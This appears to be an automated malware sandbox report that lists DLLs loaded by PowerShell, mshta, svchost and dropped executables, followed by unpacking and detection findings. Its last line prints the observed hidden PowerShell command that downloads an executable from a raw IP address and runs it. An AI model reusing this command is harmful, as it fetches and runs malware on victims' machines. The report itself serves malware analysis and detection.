Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: random.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: e.pdb source: powershell.exe, 00000009.00000002.974419404.000002C7263F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Automation.pdb source: powershell.exe, 00000009.00000002.974967281.000002C726690000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: *on.pdbT source: powershell.exe, 00000009.00000002.974419404.000002C726418000.00000004.00000020.00020000.00000000.sdmp
Source: random.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: random.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: random.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: random.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: random.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Unpacked PE file: 19.2.TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vyhhgzxi:EW;okzpskpe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vyhhgzxi:EW;okzpskpe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Unpacked PE file: 20.2.rapes.exe.ab0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vyhhgzxi:EW;okzpskpe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vyhhgzxi:EW;okzpskpe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Unpacked PE file: 21.2.rapes.exe.ab0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vyhhgzxi:EW;okzpskpe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vyhhgzxi:EW;okzpskpe:EW;.taggant:EW;
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
